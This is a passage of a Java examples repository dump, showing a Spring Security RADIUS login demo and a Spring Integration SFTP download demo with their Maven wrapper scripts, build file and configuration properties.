throws AuthenticationException { 42 | String username = authentication.getName(); 43 | RadiusPacket response = null; 44 | int attemptCount = 0; 45 | while (response == null && attemptCount++ < clients.size()) { 46 | response = authenticateInternally(clients.get(attemptCount - 1), username, 47 | authentication.getCredentials().toString()); 48 | } 49 | if (response == null) { 50 | logger.warn("User {}, calling radius does not return any value.", username); 51 | return null; 52 | } 53 | if (response.getPacketType() == RadiusPacket.ACCESS_ACCEPT) { 54 | logger.info("User {} successfully authenticated using radius", username); 55 | return new UsernamePasswordAuthenticationToken(username, "", new ArrayList<>()); 56 | } else { 57 | logger.warn("User {}, returned response {}", username, response); 58 | return null; 59 | } 60 | } 61 | 62 | private RadiusPacket authenticateInternally(NetworkAccessServer client, String username, String password) { 63 | logger.info("Calling radius server to authenticate user {}", username); 64 | try { 65 | return client.authenticate(username, password); 66 | } catch (Exception e) { 67 | logger.error("Exception when calling remote radius server.", e); 68 | return null; 69 | } 70 | } 71 | 72 | @Override 73 | public boolean supports(Class authentication) { 74 | return authentication.equals(UsernamePasswordAuthenticationToken.class); 75 | } 76 | 77 | } 78 | -------------------------------------------------------------------------------- /spring-security-radius-login/src/main/java/com/pavelsklenar/radiuslogin/authentication/RadiusServer.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.radiuslogin.authentication; 2 | 3 | public class RadiusServer { 4 | 5 | private String ip; 6 | private String secret; 7 | private int timeout; 8 | 9 | public RadiusServer(String ip, String secret, int timeout) { 10 | super(); 11 | this.ip = ip; 12 | this.secret = secret; 13 | this.timeout = timeout; 14 | } 15 | 16 | public int getTimeout() { 17 | return timeout; 18 | } 19 | 20 | public String getIp() { 21 | return ip; 22 | } 23 | 24 | public String getSecret() { 25 | return secret; 26 | } 27 | 28 | } 29 | -------------------------------------------------------------------------------- /spring-security-radius-login/src/main/java/com/pavelsklenar/radiuslogin/authentication/RadiusUtil.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.radiuslogin.authentication; 2 | 3 | import java.util.List; 4 | import java.util.stream.Collectors; 5 | import java.util.stream.Stream; 6 | 7 | public class RadiusUtil { 8 | 9 | private static final String SERVER_DELIMITER = ";"; 10 | private static final String PARAM_DELIMITER = ","; 11 | 12 | private RadiusUtil() { 13 | } 14 | 15 | public static List parseServerConfigurationToken(String serverConfigurationToken) { 16 | if (serverConfigurationToken == null) { 17 | throw new IllegalArgumentException("Radius configuration token cannot be empty."); 18 | } 19 | return Stream.of(serverConfigurationToken.split(SERVER_DELIMITER)) 20 | .map(s -> s.split(PARAM_DELIMITER)) 21 | .map(p -> new RadiusServer(p[0], p[1], Integer.parseInt(p[2]))) 22 | .collect(Collectors.toList()); 23 | 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /spring-security-radius-login/src/main/java/com/pavelsklenar/radiuslogin/bootstrap/MvcConfig.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.radiuslogin.bootstrap; 2 | 3 | import org.springframework.context.annotation.Bean; 4 | import org.springframework.context.annotation.Configuration; 5 | import org.springframework.web.servlet.config.annotation.ViewControllerRegistry; 6 | import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter; 7 | import org.springframework.web.servlet.view.InternalResourceViewResolver; 8 | 9 | @Configuration 10 | public class MvcConfig extends WebMvcConfigurerAdapter { 11 | 12 | @Override 13 | public void addViewControllers(ViewControllerRegistry registry) { 14 | registry.addViewController("/").setViewName("home"); 15 | registry.addViewController("/home").setViewName("home"); 16 | registry.addViewController("/login").setViewName("login"); 17 | } 18 | 19 | @Bean 20 | public InternalResourceViewResolver viewResolver() { 21 | InternalResourceViewResolver resolver = new InternalResourceViewResolver(); 22 | resolver.setPrefix("/WEB-INF/pages/"); 23 | resolver.setSuffix(".jsp"); 24 | return resolver; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /spring-security-radius-login/src/main/java/com/pavelsklenar/radiuslogin/bootstrap/WebSecurityConfig.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.radiuslogin.bootstrap; 2 | 3 | import org.springframework.beans.factory.annotation.Autowired; 4 | import org.springframework.context.annotation.Bean; 5 | import org.springframework.context.annotation.Configuration; 6 | import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; 7 | import org.springframework.security.config.annotation.web.builders.HttpSecurity; 8 | import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; 9 | import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; 10 | 11 | import com.pavelsklenar.radiuslogin.authentication.RadiusAuthenticationProvider; 12 | 13 | @Configuration 14 | @EnableWebSecurity 15 | public class WebSecurityConfig extends WebSecurityConfigurerAdapter { 16 | @Override 17 | protected void configure(HttpSecurity http) throws Exception { 18 | http 19 | .authorizeRequests() 20 | .anyRequest().authenticated() 21 | .and() 22 | .formLogin() 23 | .loginPage("/login") 24 | .permitAll() 25 | .and() 26 | .logout() 27 | .permitAll(); 28 | } 29 | 30 | @Autowired 31 | public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { 32 | auth.authenticationProvider(radiusAuthenticationProvider()); 33 | } 34 | 35 | @Bean 36 | public RadiusAuthenticationProvider radiusAuthenticationProvider() { 37 | return new RadiusAuthenticationProvider(); 38 | } 39 | 40 | } -------------------------------------------------------------------------------- /spring-security-radius-login/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | logging.level.org.springframework.web=DEBUG 2 | logging.level.org.tinyradius=TRACE 3 | 4 | #RADIUS_1_IP_ADDRESS,RADIUS_1_SECRET,RADIUS_1_TIMEOUT;RADIUS_2_IP_ADDRESS,RADIUS_2_SECRET,RADIUS_2_TIMEOUT; 5 | com.pavelsklenar.radius.server=192.168.1.1,secret,500;127.0.0.1,SECRET,1000 -------------------------------------------------------------------------------- /spring-security-radius-login/src/main/webapp/WEB-INF/pages/home.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> 2 | <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%> 3 | 4 | 5 | 6 | Welcome! 7 | 8 | 9 |

Hello ${pageContext.request.userPrincipal.name}!

10 |
11 | 12 | 13 |
14 | 15 | -------------------------------------------------------------------------------- /spring-security-radius-login/src/main/webapp/WEB-INF/pages/login.jsp: -------------------------------------------------------------------------------- 1 | <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> 2 | <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%> 3 | 4 | 5 | 6 | Spring Boot + Radius login example 7 | 8 | 9 | 10 |
11 | 12 |

Log in with Username and Password

13 | 14 | 15 |
Invalid username or password.
16 |
17 | 18 |
You have been successfully logged out.
19 |
20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 35 | 36 |
User:
Password:
37 | 38 | 40 |
41 |
42 | 43 | -------------------------------------------------------------------------------- /spring-sftp-download-demo/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | 4 | ### STS ### 5 | .apt_generated 6 | .classpath 7 | .factorypath 8 | .project 9 | .settings 10 | .springBeans 11 | 12 | ### IntelliJ IDEA ### 13 | .idea 14 | *.iws 15 | *.iml 16 | *.ipr 17 | 18 | ### NetBeans ### 19 | nbproject/private/ 20 | build/ 21 | nbbuild/ 22 | dist/ 23 | nbdist/ 24 | .nb-gradle/ -------------------------------------------------------------------------------- /spring-sftp-download-demo/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-sftp-download-demo/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /spring-sftp-download-demo/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.0/apache-maven-3.5.0-bin.zip 2 | -------------------------------------------------------------------------------- /spring-sftp-download-demo/mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven2 Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 | if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Migwn, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | # TODO classpath? 118 | fi 119 | 120 | if [ -z "$JAVA_HOME" ]; then 121 | javaExecutable="`which javac`" 122 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 123 | # readlink(1) is not available as standard on Solaris 10. 124 | readLink=`which readlink` 125 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 126 | if $darwin ; then 127 | javaHome="`dirname \"$javaExecutable\"`" 128 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 129 | else 130 | javaExecutable="`readlink -f \"$javaExecutable\"`" 131 | fi 132 | javaHome="`dirname \"$javaExecutable\"`" 133 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 134 | JAVA_HOME="$javaHome" 135 | export JAVA_HOME 136 | fi 137 | fi 138 | fi 139 | 140 | if [ -z "$JAVACMD" ] ; then 141 | if [ -n "$JAVA_HOME" ] ; then 142 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 143 | # IBM's JDK on AIX uses strange locations for the executables 144 | JAVACMD="$JAVA_HOME/jre/sh/java" 145 | else 146 | JAVACMD="$JAVA_HOME/bin/java" 147 | fi 148 | else 149 | JAVACMD="`which java`" 150 | fi 151 | fi 152 | 153 | if [ ! -x "$JAVACMD" ] ; then 154 | echo "Error: JAVA_HOME is not defined correctly." >&2 155 | echo " We cannot execute $JAVACMD" >&2 156 | exit 1 157 | fi 158 | 159 | if [ -z "$JAVA_HOME" ] ; then 160 | echo "Warning: JAVA_HOME environment variable is not set." 161 | fi 162 | 163 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 164 | 165 | # traverses directory structure from process work directory to filesystem root 166 | # first directory with .mvn subdirectory is considered project base directory 167 | find_maven_basedir() { 168 | 169 | if [ -z "$1" ] 170 | then 171 | echo "Path not specified to find_maven_basedir" 172 | return 1 173 | fi 174 | 175 | basedir="$1" 176 | wdir="$1" 177 | while [ "$wdir" != '/' ] ; do 178 | if [ -d "$wdir"/.mvn ] ; then 179 | basedir=$wdir 180 | break 181 | fi 182 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 183 | if [ -d "${wdir}" ]; then 184 | wdir=`cd "$wdir/.."; pwd` 185 | fi 186 | # end of workaround 187 | done 188 | echo "${basedir}" 189 | } 190 | 191 | # concatenates all lines of a file 192 | concat_lines() { 193 | if [ -f "$1" ]; then 194 | echo "$(tr -s '\n' ' ' < "$1")" 195 | fi 196 | } 197 | 198 | BASE_DIR=`find_maven_basedir "$(pwd)"` 199 | if [ -z "$BASE_DIR" ]; then 200 | exit 1; 201 | fi 202 | 203 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 204 | echo $MAVEN_PROJECTBASEDIR 205 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 206 | 207 | # For Cygwin, switch paths to Windows format before running java 208 | if $cygwin; then 209 | [ -n "$M2_HOME" ] && 210 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 211 | [ -n "$JAVA_HOME" ] && 212 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 213 | [ -n "$CLASSPATH" ] && 214 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 215 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 216 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 217 | fi 218 | 219 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 220 | 221 | exec "$JAVACMD" \ 222 | $MAVEN_OPTS \ 223 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 224 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 225 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 226 | -------------------------------------------------------------------------------- /spring-sftp-download-demo/mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM http://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven2 Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' 39 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 40 | 41 | @REM set %HOME% to equivalent of $HOME 42 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 43 | 44 | @REM Execute a user defined script before this one 45 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 46 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 47 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 48 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 49 | :skipRcPre 50 | 51 | @setlocal 52 | 53 | set ERROR_CODE=0 54 | 55 | @REM To isolate internal variables from possible post scripts, we use another setlocal 56 | @setlocal 57 | 58 | @REM ==== START VALIDATION ==== 59 | if not "%JAVA_HOME%" == "" goto OkJHome 60 | 61 | echo. 62 | echo Error: JAVA_HOME not found in your environment. >&2 63 | echo Please set the JAVA_HOME variable in your environment to match the >&2 64 | echo location of your Java installation. >&2 65 | echo. 66 | goto error 67 | 68 | :OkJHome 69 | if exist "%JAVA_HOME%\bin\java.exe" goto init 70 | 71 | echo. 72 | echo Error: JAVA_HOME is set to an invalid directory. >&2 73 | echo JAVA_HOME = "%JAVA_HOME%" >&2 74 | echo Please set the JAVA_HOME variable in your environment to match the >&2 75 | echo location of your Java installation. >&2 76 | echo. 77 | goto error 78 | 79 | @REM ==== END VALIDATION ==== 80 | 81 | :init 82 | 83 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 84 | @REM Fallback to current working directory if not found. 85 | 86 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 87 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 88 | 89 | set EXEC_DIR=%CD% 90 | set WDIR=%EXEC_DIR% 91 | :findBaseDir 92 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 93 | cd .. 94 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 95 | set WDIR=%CD% 96 | goto findBaseDir 97 | 98 | :baseDirFound 99 | set MAVEN_PROJECTBASEDIR=%WDIR% 100 | cd "%EXEC_DIR%" 101 | goto endDetectBaseDir 102 | 103 | :baseDirNotFound 104 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 105 | cd "%EXEC_DIR%" 106 | 107 | :endDetectBaseDir 108 | 109 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 110 | 111 | @setlocal EnableExtensions EnableDelayedExpansion 112 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 113 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 114 | 115 | :endReadAdditionalConfig 116 | 117 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 118 | 119 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 120 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 121 | 122 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 123 | if ERRORLEVEL 1 goto error 124 | goto end 125 | 126 | :error 127 | set ERROR_CODE=1 128 | 129 | :end 130 | @endlocal & set ERROR_CODE=%ERROR_CODE% 131 | 132 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 133 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 134 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 135 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 136 | :skipRcPost 137 | 138 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 139 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 140 | 141 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 142 | 143 | exit /B %ERROR_CODE% 144 | -------------------------------------------------------------------------------- /spring-sftp-download-demo/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | com.pavelsklenar 7 | spring-sftp-download-demo 8 | 0.0.1-SNAPSHOT 9 | jar 10 | 11 | spring-sftp-download-demo 12 | Demo project spring sftp download 13 | 14 | 15 | org.springframework.boot 16 | spring-boot-starter-parent 17 | 2.0.4.RELEASE 18 | 19 | 20 | 21 | 22 | UTF-8 23 | UTF-8 24 | 1.8 25 | 26 | 27 | 28 | 29 | org.springframework.boot 30 | spring-boot-starter-integration 31 | 32 | 33 | 34 | org.springframework.integration 35 | spring-integration-sftp 36 | 37 | 38 | 39 | org.apache.sshd 40 | sshd-core 41 | 1.4.0 42 | test 43 | 44 | 45 | 46 | commons-codec 47 | commons-codec 48 | 1.15 49 | test 50 | 51 | 52 | 53 | 54 | org.springframework.boot 55 | spring-boot-starter-test 56 | test 57 | 58 | 59 | 60 | 61 | 62 | 63 | org.springframework.boot 64 | spring-boot-maven-plugin 65 | 66 | 67 | 68 | 69 | 70 | 71 | spring-snapshots 72 | Spring Snapshots 73 | https://repo.spring.io/snapshot 74 | 75 | true 76 | 77 | 78 | 79 | spring-milestones 80 | Spring Milestones 81 | https://repo.spring.io/milestone 82 | 83 | false 84 | 85 | 86 | 87 | 88 | 89 | 90 | spring-snapshots 91 | Spring Snapshots 92 | https://repo.spring.io/snapshot 93 | 94 | true 95 | 96 | 97 | 98 | spring-milestones 99 | Spring Milestones 100 | https://repo.spring.io/milestone 101 | 102 | false 103 | 104 | 105 | 106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /spring-sftp-download-demo/src/main/java/com/pavelsklenar/SftpConfig.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar; 2 | 3 | import java.io.File; 4 | 5 | import org.springframework.beans.factory.annotation.Value; 6 | import org.springframework.context.annotation.Bean; 7 | import org.springframework.context.annotation.Configuration; 8 | import org.springframework.core.io.Resource; 9 | import org.springframework.integration.annotation.InboundChannelAdapter; 10 | import org.springframework.integration.annotation.Poller; 11 | import org.springframework.integration.annotation.ServiceActivator; 12 | import org.springframework.integration.core.MessageSource; 13 | import org.springframework.integration.file.filters.AcceptOnceFileListFilter; 14 | import org.springframework.integration.file.remote.session.CachingSessionFactory; 15 | import org.springframework.integration.file.remote.session.SessionFactory; 16 | import org.springframework.integration.sftp.filters.SftpSimplePatternFileListFilter; 17 | import org.springframework.integration.sftp.inbound.SftpInboundFileSynchronizer; 18 | import org.springframework.integration.sftp.inbound.SftpInboundFileSynchronizingMessageSource; 19 | import org.springframework.integration.sftp.session.DefaultSftpSessionFactory; 20 | import org.springframework.messaging.Message; 21 | import org.springframework.messaging.MessageHandler; 22 | import org.springframework.messaging.MessagingException; 23 | 24 | import com.jcraft.jsch.ChannelSftp.LsEntry; 25 | 26 | @Configuration 27 | public class SftpConfig { 28 | 29 | @Value("${sftp.host}") 30 | private String sftpHost; 31 | 32 | @Value("${sftp.port:22}") 33 | private int sftpPort; 34 | 35 | @Value("${sftp.user}") 36 | private String sftpUser; 37 | 38 | @Value("${sftp.privateKey:#{null}}") 39 | private Resource sftpPrivateKey; 40 | 41 | @Value("${sftp.privateKeyPassphrase:}") 42 | private String sftpPrivateKeyPassphrase; 43 | 44 | @Value("${sftp.password:#{null}}") 45 | private String sftpPasword; 46 | 47 | @Value("${sftp.remote.directory.download:/}") 48 | private String sftpRemoteDirectoryDownload; 49 | 50 | @Value("${sftp.local.directory.download:${java.io.tmpdir}/localDownload}") 51 | private String sftpLocalDirectoryDownload; 52 | 53 | @Value("${sftp.remote.directory.download.filter:*.*}") 54 | private String sftpRemoteDirectoryDownloadFilter; 55 | 56 | @Bean 57 | public SessionFactory sftpSessionFactory() { 58 | DefaultSftpSessionFactory factory = new DefaultSftpSessionFactory(true); 59 | factory.setHost(sftpHost); 60 | factory.setPort(sftpPort); 61 | factory.setUser(sftpUser); 62 | if (sftpPrivateKey != null) { 63 | factory.setPrivateKey(sftpPrivateKey); 64 | factory.setPrivateKeyPassphrase(sftpPrivateKeyPassphrase); 65 | } else { 66 | factory.setPassword(sftpPasword); 67 | } 68 | factory.setAllowUnknownKeys(true); 69 | return new CachingSessionFactory(factory); 70 | } 71 | 72 | @Bean 73 | public SftpInboundFileSynchronizer sftpInboundFileSynchronizer() { 74 | SftpInboundFileSynchronizer fileSynchronizer = new SftpInboundFileSynchronizer(sftpSessionFactory()); 75 | fileSynchronizer.setDeleteRemoteFiles(true); 76 | fileSynchronizer.setRemoteDirectory(sftpRemoteDirectoryDownload); 77 | fileSynchronizer 78 | .setFilter(new SftpSimplePatternFileListFilter(sftpRemoteDirectoryDownloadFilter)); 79 | return fileSynchronizer; 80 | } 81 | 82 | @Bean 83 | @InboundChannelAdapter(channel = "fromSftpChannel", poller = @Poller(cron = "0/5 * * * * *")) 84 | public MessageSource sftpMessageSource() { 85 | SftpInboundFileSynchronizingMessageSource source = new SftpInboundFileSynchronizingMessageSource( 86 | sftpInboundFileSynchronizer()); 87 | source.setLocalDirectory(new File(sftpLocalDirectoryDownload)); 88 | source.setAutoCreateLocalDirectory(true); 89 | source.setLocalFilter(new AcceptOnceFileListFilter()); 90 | return source; 91 | } 92 | 93 | @Bean 94 | @ServiceActivator(inputChannel = "fromSftpChannel") 95 | public MessageHandler resultFileHandler() { 96 | return new MessageHandler() { 97 | @Override 98 | public void handleMessage(Message message) throws MessagingException { 99 | System.err.println(message.getPayload()); 100 | } 101 | }; 102 | } 103 | 104 | } 105 | -------------------------------------------------------------------------------- /spring-sftp-download-demo/src/main/java/com/pavelsklenar/SpringSftpDownloadDemoApplication.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | import org.springframework.integration.annotation.IntegrationComponentScan; 6 | import org.springframework.integration.config.EnableIntegration; 7 | 8 | @SpringBootApplication 9 | @IntegrationComponentScan 10 | @EnableIntegration 11 | public class SpringSftpDownloadDemoApplication { 12 | 13 | public static void main(String[] args) { 14 | SpringApplication.run(SpringSftpDownloadDemoApplication.class, args); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /spring-sftp-download-demo/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | sftp.host=127.0.0.1 2 | sftp.user=test 3 | sftp.privateKey=classpath:keys/sftp_rsa 4 | sftp.privateKeyPassphrase=passphrase 5 | sftp.local.directory.download= ${java.io.tmpdir}/localDownload 6 | -------------------------------------------------------------------------------- /spring-sftp-download-demo/src/test/java/com/pavelsklenar/EmbeddedSftpServer.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar; 2 | 3 | import java.io.IOException; 4 | import java.io.InputStream; 5 | import java.math.BigInteger; 6 | import java.nio.ByteBuffer; 7 | import java.nio.file.Files; 8 | import java.nio.file.Path; 9 | import java.security.KeyFactory; 10 | import java.security.PublicKey; 11 | import java.security.spec.RSAPublicKeySpec; 12 | import java.util.Collections; 13 | 14 | import org.apache.commons.codec.binary.Base64; 15 | import org.apache.sshd.common.NamedFactory; 16 | import org.apache.sshd.common.file.virtualfs.VirtualFileSystemFactory; 17 | import org.apache.sshd.server.Command; 18 | import org.apache.sshd.server.SshServer; 19 | import org.apache.sshd.server.auth.pubkey.PublickeyAuthenticator; 20 | import org.apache.sshd.server.keyprovider.SimpleGeneratorHostKeyProvider; 21 | import org.apache.sshd.server.scp.ScpCommandFactory; 22 | import org.apache.sshd.server.session.ServerSession; 23 | import 